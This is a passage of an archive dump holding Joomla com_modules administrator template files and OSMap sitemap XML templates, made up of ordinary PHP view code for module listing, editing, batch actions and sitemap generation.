if (Factory::getApplication()->getIdentity()->authorise('core.create', 'com_modules')) {
    $displayData['createURL'] = 'index.php?option=com_modules&view=select&client_id=' . $this->clientId;
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
modules/modal.php000064400000014576151735620220010041 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

if (Factory::getApplication()->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_modules.admin-modules-modal');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$editor    = Factory::getApplication()->getInput()->get('editor', '', 'cmd');
$link      = 'index.php?option=com_modules&view=modules&layout=modal&tmpl=component&' . Session::getFormToken() . '=1';

if (!empty($editor)) {
    $link .= '&editor=' . $editor;
}
?>
<div class="container-popup">

    <form action="<?php echo Route::_($link); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

        <?php if ($this->total > 0) : ?>
        <table class="table" id="moduleList">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_MODULES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
            </caption>
            <thead>
                <tr>
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="title">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-15 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_POSITION', 'a.position', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-10 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_MODULE', 'name', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-10 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_MODULES_HEADING_PAGES', 'pages', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-10 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'ag.title', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-10 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'l.title', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="w-1 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                    </th>
                </tr>
            </thead>
            <tbody>
                <?php
                $iconStates = [
                    -2 => 'icon-trash',
                    0  => 'icon-unpublish',
                    1  => 'icon-publish',
                    2  => 'icon-archive',
                ];
                foreach ($this->items as $i => $item) :
                    ?>
                <tr class="row<?php echo $i % 2; ?>">
                    <td class="text-center">
                        <span class="tbody-icon">
                            <span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
                        </span>
                    </td>
                    <th scope="row" class="has-context">
                        <a class="js-module-insert btn btn-sm btn-success w-100" href="#" data-module="<?php echo $item->id; ?>" data-editor="<?php echo $this->escape($editor); ?>">
                            <?php echo $this->escape($item->title); ?>
                        </a>
                    </th>
                    <td class="small d-none d-md-table-cell">
                        <?php if ($item->position) : ?>
                        <a class="js-position-insert btn btn-sm btn-warning w-100" href="#" data-position="<?php echo $this->escape($item->position); ?>" data-editor="<?php echo $this->escape($editor); ?>"><?php echo $this->escape($item->position); ?></a>
                        <?php else : ?>
                        <span class="btn btn-sm btn-secondary w-100"><?php echo Text::_('JNONE'); ?></span>
                        <?php endif; ?>
                    </td>
                    <td class="small d-none d-md-table-cell">
                        <?php echo $item->name; ?>
                    </td>
                    <td class="small d-none d-md-table-cell">
                        <?php echo $item->pages; ?>
                    </td>
                    <td class="small d-none d-md-table-cell">
                        <?php echo $this->escape($item->access_level); ?>
                    </td>
                    <td class="small d-none d-md-table-cell">
                        <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                    </td>
                    <td class="d-none d-md-table-cell">
                        <?php echo (int) $item->id; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <input type="hidden" name="editor" value="<?php echo $editor; ?>" />
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
modules/default.xml000064400000000320151735620220010360 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MODULES_MODULES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MODULES_MODULES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
modules/default_batch_footer.php000064400000001365151735620220013100 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-position-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('module.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
modules/default_batch_body.php000064400000006053151735620220012536 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Component\Modules\Administrator\Helper\ModulesHelper;

$clientId  = $this->state->get('client_id');

// Show only Module Positions of published Templates
$published = 1;
$positions = HTMLHelper::_('modules.positions', $clientId, $published);
$positions['']['items'][] = ModulesHelper::createOption('nochange', Text::_('COM_MODULES_BATCH_POSITION_NOCHANGE'));
$positions['']['items'][] = ModulesHelper::createOption('noposition', Text::_('COM_MODULES_BATCH_POSITION_NOPOSITION'));

// Build field
$attr = [
    'id' => 'batch-position-id',
];

Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');

$this->document->getWebAssetManager()
    ->usePreset('choicesjs')
    ->useScript('webcomponent.field-fancy-select')
    ->useScript('joomla.batch-copymove');

?>

<div class="p-3">
    <p><?php echo Text::_('COM_MODULES_BATCH_TIP'); ?></p>
    <div class="row">
        <?php if ($clientId != 1) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php elseif ($clientId == 1 && ModuleHelper::isAdminMultilang()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.adminlanguage', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="col-md-6">
                <div class="controls">
                    <label id="batch-choose-action-lbl" for="batch-choose-action">
                        <?php echo Text::_('COM_MODULES_BATCH_POSITION_LABEL'); ?>
                    </label>
                    <div id="batch-choose-action">
                        <joomla-field-fancy-select allow-custom search-placeholder="<?php echo $this->escape(Text::_('COM_MODULES_TYPE_OR_SELECT_POSITION')); ?>">
                        <?php echo HTMLHelper::_('select.groupedlist', $positions, 'batch[position_id]', $attr); ?>
                        </joomla-field-fancy-select>
                        <div id="batch-copy-move" class="control-group radio">
                            <?php echo HTMLHelper::_('modules.batchOptions'); ?>
                        </div>
                    </div>
                </div>
        <?php endif; ?>
        </div>
    </div>
</div>
module/edit_assignment.php000064400000022324151735620220011725 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;
use Joomla\Component\Modules\Administrator\Helper\ModulesHelper;

// Initialise related data.
$menuTypes = MenusHelper::getMenuLinks();

$this->document->getWebAssetManager()
    ->useScript('joomla.treeselectmenu')
    ->useScript('com_modules.admin-module-edit-assignment');

?>
<div class="control-group">
    <label id="jform_menus-lbl" class="control-label" for="jform_assignment"><?php echo Text::_('COM_MODULES_MODULE_ASSIGN'); ?></label>
    <div id="jform_menus" class="controls">
        <select class="form-select" name="jform[assignment]" id="jform_assignment">
            <?php echo HTMLHelper::_('select.options', ModulesHelper::getAssignmentOptions($this->item->client_id), 'value', 'text', $this->item->assignment, true); ?>
        </select>
    </div>
</div>
<div id="menuselect-group" class="control-group">
    <label id="jform_menuselect-lbl" class="control-label" for="jform_menuselect"><?php echo Text::_('JGLOBAL_MENU_SELECTION'); ?></label>
    <div id="jform_menuselect" class="controls">
        <?php if (!empty($menuTypes)) : ?>
        <div class="card-header">
            <section class="d-flex align-items-center flex-wrap w-100" aria-label="<?php echo Text::_('COM_MODULES_GLOBAL'); ?>">
                <div class="d-flex align-items-center flex-fill mb-1" role="group" aria-label="<?php echo Text::_('COM_MODULES_GLOBAL_ASSIGN'); ?>"><?php echo Text::_('COM_MODULES_GLOBAL_ASSIGN'); ?>
                    <button id="treeCheckAll" class="btn btn-secondary btn-sm mx-1" type="button">
                        <?php echo Text::_('JALL'); ?>
                    </button>
                    <button id="treeUncheckAll" class="btn btn-secondary btn-sm mx-1" type="button">
                        <?php echo Text::_('JNONE'); ?>
                    </button>
                </div>
                <div class="d-flex align-items-center mb-1 flex-fill" role="group" aria-label="<?php echo Text::_('COM_MODULES_GLOBAL_TREE_EXPAND'); ?>"><?php echo Text::_('COM_MODULES_GLOBAL_TREE_EXPAND'); ?>
                    <button id="treeExpandAll" class="btn btn-secondary btn-sm mx-1" type="button">
                        <?php echo Text::_('JALL'); ?>
                    </button>
                    <button id="treeCollapseAll" class="btn btn-secondary btn-sm mx-1" type="button">
                        <?php echo Text::_('JNONE'); ?>
                    </button>
                </div>
                <div role="search" class="flex-grow-1">
                    <label for="treeselectfilter" class="visually-hidden"><?php echo Text::_('COM_MODULES_SEARCH_MENUITEM'); ?></label>
                    <input type="text" id="treeselectfilter" name="treeselectfilter" class="form-control search-query" autocomplete="off" placeholder="<?php echo Text::_('JSEARCH_FILTER'); ?>">
                </div>
            </section>
        </div>
        <div class="card-body">
            <ul class="treeselect">
                <?php foreach ($menuTypes as &$type) : ?>
                    <?php if (count($type->links)) : ?>
                        <?php $prevlevel = 0; ?>
                    <li>
                        <div class="treeselect-item treeselect-header">
                            <label class="nav-header"><?php echo $type->title; ?></label></div>
                        <?php foreach ($type->links as $i => $link) : ?>
                            <?php
                            if ($prevlevel < $link->level) {
                                echo '<ul class="treeselect-sub">';
                            } elseif ($prevlevel > $link->level) {
                                echo str_repeat('</li></ul>', $prevlevel - $link->level);
                            } else {
                                echo '</li>';
                            }
                            $selected = 0;
                            if ($this->item->assignment == 0) {
                                $selected = 1;
                            } elseif ($this->item->assignment < 0) {
                                $selected = in_array(-$link->value, $this->item->assigned);
                            } elseif ($this->item->assignment > 0) {
                                $selected = in_array($link->value, $this->item->assigned);
                            }
                            ?>
                            <li>
                                <div class="treeselect-item">
                                    <?php
                                    $uselessMenuItem = in_array($link->type, ['separator', 'heading', 'alias', 'url']);
                                    $id = 'jform_menuselect';
                                    ?>
                                    <input type="checkbox" class="novalidate form-check-input" name="jform[assigned][]" id="<?php echo $id . $link->value; ?>" value="<?php echo (int) $link->value; ?>"<?php echo $selected ? ' checked="checked"' : '';
                                    echo $uselessMenuItem ? ' disabled="disabled"' : ''; ?>>
                                    <label for="<?php echo $id . $link->value; ?>" class="">
                                        <?php echo $link->text; ?>
                                        <?php if (Multilanguage::isEnabled() && $link->language != '' && $link->language != '*') : ?>
                                            <?php if ($link->language_image) : ?>
                                                <?php echo HTMLHelper::_('image', 'mod_languages/' . $link->language_image . '.gif', $link->language_title, ['title' => $link->language_title], true); ?>
                                            <?php else : ?>
                                                <?php echo '<span class="badge bg-secondary" title="' . $link->language_title . '">' . $link->language_sef . '</span>'; ?>
                                            <?php endif; ?>
                                        <?php endif; ?>
                                        <?php if ($link->published == 0) : ?>
                                            <?php echo ' <span class="badge bg-secondary">' . Text::_('JUNPUBLISHED') . '</span>'; ?>
                                        <?php endif; ?>
                                        <?php if ($uselessMenuItem) : ?>
                                            <?php echo ' <span class="badge bg-secondary">' . Text::_('COM_MODULES_MENU_ITEM_' . strtoupper($link->type)) . '</span>'; ?>
                                        <?php endif; ?>
                                    </label>
                                </div>
                            <?php

                            if (!isset($type->links[$i + 1])) {
                                echo str_repeat('</li></ul>', $link->level);
                            }
                            $prevlevel = $link->level;
                            ?>
                        <?php endforeach; ?>
                    </li>
                    <?php endif; ?>
                <?php endforeach; ?>
            </ul>
            <joomla-alert id="noresultsfound" type="warning" style="display:none"><?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?></joomla-alert>
            <div class="hidden" id="treeselectmenu">
                <div class="nav-hover treeselect-menu">
                    <div class="dropdown">
                        <button type="button" data-bs-toggle="dropdown" class="dropdown-toggle btn btn-sm btn-light">
                            <span class="caret"></span>
                            <span class="visually-hidden"><?php echo Text::sprintf('JGLOBAL_TOGGLE_DROPDOWN'); ?></span>
                        </button>
                        <div class="dropdown-menu">
                            <h1 class="dropdown-header"><?php echo Text::_('COM_MODULES_SUBITEMS'); ?></h1>
                            <div class="dropdown-divider"></div>
                            <a class="dropdown-item checkall" href="javascript://"><span class="icon-check-square" aria-hidden="true"></span> <?php echo Text::_('JSELECT'); ?></a>
                            <a class="dropdown-item uncheckall" href="javascript://"><span class="icon-square" aria-hidden="true"></span> <?php echo Text::_('COM_MODULES_DESELECT'); ?></a>
                            <div class="treeselect-menu-expand">
                                <div class="dropdown-divider"></div>
                                <a class="dropdown-item expandall" href="javascript://"><span class="icon-plus" aria-hidden="true"></span> <?php echo Text::_('COM_MODULES_EXPAND'); ?></a>
                                <a class="dropdown-item collapseall" href="javascript://"><span class="icon-minus" aria-hidden="true"></span> <?php echo Text::_('COM_MODULES_COLLAPSE'); ?></a>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <?php endif; ?>
    </div>
</div>
module/modal.php000064400000002173151735620220007644 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->addInlineScript('
    document.addEventListener("DOMContentLoaded", function() {
        const saveCloseButton = window.parent.document.getElementById("btnModalSaveAndClose");
        if (saveCloseButton) {
          saveCloseButton.classList.remove("hidden");
        }
    });
');

?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.apply');"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.save');"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.cancel');"></button>

<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
module/edit.php000064400000020316151735620220007474 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.combobox');

$hasContent = isset($this->item->xml->customContent);
$hasContentFieldName = 'content';

// For a later improvement
if ($hasContent) {
    $hasContentFieldName = 'content';
}

// Get Params Fieldsets
$this->fieldsets = $this->form->getFieldsets('params');
$this->useCoreUI = true;

Text::script('JYES');
Text::script('JNO');
Text::script('JALL');
Text::script('JTRASHED');

$this->document->addScriptOptions('module-edit', ['itemId' => $this->item->id, 'state' => (int) $this->item->id == 0 ? 'Add' : 'Edit']);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_modules.admin-module-edit');

$input = Factory::getApplication()->getInput();

// In case of modal
$isModal = $input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';

?>

<form action="<?php echo Route::_('index.php?option=com_modules&layout=' . $layout . $tmpl . '&client_id=' . $this->form->getValue('client_id') . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="module-form" aria-label="<?php echo Text::_('COM_MODULES_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_MODULES_MODULE')); ?>

        <div class="row">
            <div class="col-lg-9">
                <?php if ($this->item->xml) : ?>
                    <?php if ($this->item->xml->description) : ?>
                        <h2>
                            <?php
                            if ($this->item->xml) {
                                echo ($text = (string) $this->item->xml->name) ? Text::_($text) : $this->item->module;
                            } else {
                                echo Text::_('COM_MODULES_ERR_XML');
                            }
                            ?>
                        </h2>
                        <div class="info-labels">
                            <span class="badge bg-secondary">
                                <?php echo $this->item->client_id == 0 ? Text::_('JSITE') : Text::_('JADMINISTRATOR'); ?>
                            </span>
                        </div>
                        <div>
                            <?php
                            $this->fieldset    = 'description';
                            $short_description = Text::_($this->item->xml->description);
                            $long_description  = LayoutHelper::render('joomla.edit.fieldset', $this);

                            if (!$long_description) {
                                $truncated = HTMLHelper::_('string.truncate', $short_description, 550, true, false);

                                if (strlen($truncated) > 500) {
                                    $long_description  = $short_description;
                                    $short_description = HTMLHelper::_('string.truncate', $truncated, 250);

                                    if ($short_description == $long_description) {
                                        $long_description = '';
                                    }
                                }
                            }
                            ?>
                            <p><?php echo $short_description; ?></p>
                            <?php if ($long_description) : ?>
                                <p class="readmore">
                                    <a href="#" onclick="document.getElementById('myTab').activateTab(document.getElementById('description'));">
                                        <?php echo Text::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
                                    </a>
                                </p>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                <?php else : ?>
                    <div class="alert alert-danger">
                        <span class="icon-exclamation-triangle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('ERROR'); ?></span>
                        <?php echo Text::_('COM_MODULES_ERR_XML'); ?>
                    </div>
                <?php endif; ?>
                <?php
                if ($hasContent) {
                    echo $this->form->getInput($hasContentFieldName);
                }
                $this->fieldset = 'basic';
                $html = LayoutHelper::render('joomla.edit.fieldset', $this);
                echo $html ? '<hr>' . $html : '';
                ?>
            </div>
            <div class="col-lg-3">
                <?php
                // Set main fields.
                $this->fields = [
                    'showtitle',
                    'position',
                    'published',
                    'publish_up',
                    'publish_down',
                    'access',
                    'ordering',
                    'language',
                    'note'
                ];

                ?>
                <?php if ($this->item->client_id == 0) : ?>
                    <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
                <?php else : ?>
                    <?php echo LayoutHelper::render('joomla.edit.admin_modules', $this); ?>
                <?php endif; ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (isset($long_description) && $long_description != '') : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
                <div class="card">
                    <div class="card-body">
                        <?php echo $long_description; ?>
                    </div>
                </div>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php if ($this->item->client_id == 0) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'assignment', Text::_('COM_MODULES_MENU_ASSIGNMENT')); ?>
            <fieldset id="fieldset-assignment" class="options-form">
                <legend><?php echo Text::_('COM_MODULES_MENU_ASSIGNMENT'); ?></legend>
                <div>
                <?php echo $this->loadTemplate('assignment'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php
        $this->fieldsets        = [];
        $this->ignore_fieldsets = ['basic', 'description'];
        echo LayoutHelper::render('joomla.edit.params', $this);
        ?>

        <?php if ($this->canDo->get('core.admin')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_MODULES_FIELDSET_RULES')); ?>
            <fieldset id="fieldset-permissions" class="options-form">
                <legend><?php echo Text::_('COM_MODULES_FIELDSET_RULES'); ?></legend>
                <div>
                <?php echo $this->form->getInput('rules'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="return" value="<?php echo $input->get('return', null, 'BASE64'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
        <?php echo $this->form->getInput('module'); ?>
        <?php echo $this->form->getInput('client_id'); ?>
    </div>
</form>
select/modal.php000064400000000704151735620220007634 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->modalLink = '&tmpl=component&view=module&layout=modal';
?>
<div class="container-popup">
    <?php $this->setLayout('default'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
default_images.php000060400000005665151736040360010243 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$ignoreDuplicates = (int)$this->osmapParams->get('ignore_duplicated_uids', 1);

$printNodeCallback = function (Item $node) use ($ignoreDuplicates) {
    $display = !$node->ignore
        && $node->published
        && (!$node->duplicate || !$ignoreDuplicates)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && $node->isInternal
        && trim($node->fullLink) != ''
        && $node->hasCompatibleLanguage();

    if ($display && !empty($node->images)) {
        echo '<url>';
        echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink);

        foreach ($node->images as $image) {
            if (!empty($image->src)) {
                echo '<image:image>';
                echo '<image:loc><![CDATA[' . $image->src . ']]></image:loc>';
                echo empty($image->title)
                    ? '<image:title/>'
                    : '<image:title><![CDATA[' . $image->title . ']]></image:title>';

                if (!empty($image->license)) {
                    echo '<image:license><![CDATA[' . $image->license . ']]></image:license>';
                }

                echo '</image:image>';
            }
        }

        echo '</url>';
    }

    /*
     * Return true if there were no images
     * so any child nodes will get checked
     */
    return $display || empty($node->images);
};

echo $this->addStylesheet();

$attributes = [
    'xmlns'       => 'http://www.sitemaps.org/schemas/sitemap/0.9',
    'xmlns:image' => 'http://www.google.com/schemas/sitemap-image/1.1'
];
echo sprintf('<urlset %s>', ArrayHelper::toString($attributes));

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
default_standard.php000060400000005206151736040360010565 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Helper\General;
use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$showExternalLinks = (int)$this->osmapParams->get('show_external_links', 0);
$ignoreDuplicates  = (int)$this->osmapParams->get('ignore_duplicated_uids', 1);
$debug             = $this->params->get('debug', 0) ? "\n" : '';

$printNodeCallback = function (Item $node) use ($showExternalLinks, $ignoreDuplicates, $debug) {
    $display = !$node->ignore
        && $node->published
        && (!$node->duplicate || !$ignoreDuplicates)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && trim($node->fullLink) != '';

    if ($display && !$node->isInternal) {
        // Show external links
        $display = $showExternalLinks === 1;
    }

    if (!$node->hasCompatibleLanguage()) {
        $display = false;
    }

    if (!$display) {
        return false;
    }

    echo $debug;

    echo '<url>';
    echo '<loc><![CDATA[' . $node->fullLink . ']]></loc>';

    if (!General::isEmptyDate($node->modified)) {
        echo '<lastmod>' . $node->modified . '</lastmod>';
    }

    echo '<changefreq>' . $node->changefreq . '</changefreq>';
    echo '<priority>' . $node->priority . '</priority>';
    echo '</url>';

    echo $debug;

    return true;
};

echo $this->addStylesheet();

echo $debug . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . $debug;

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
default_news.php000060400000006307151736040360007744 0ustar00<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$debug = $this->params->get('debug', 0) ? "\n" : '';

$printNodeCallback = function (Item $node) {
    $display = !$node->ignore
        && $node->published
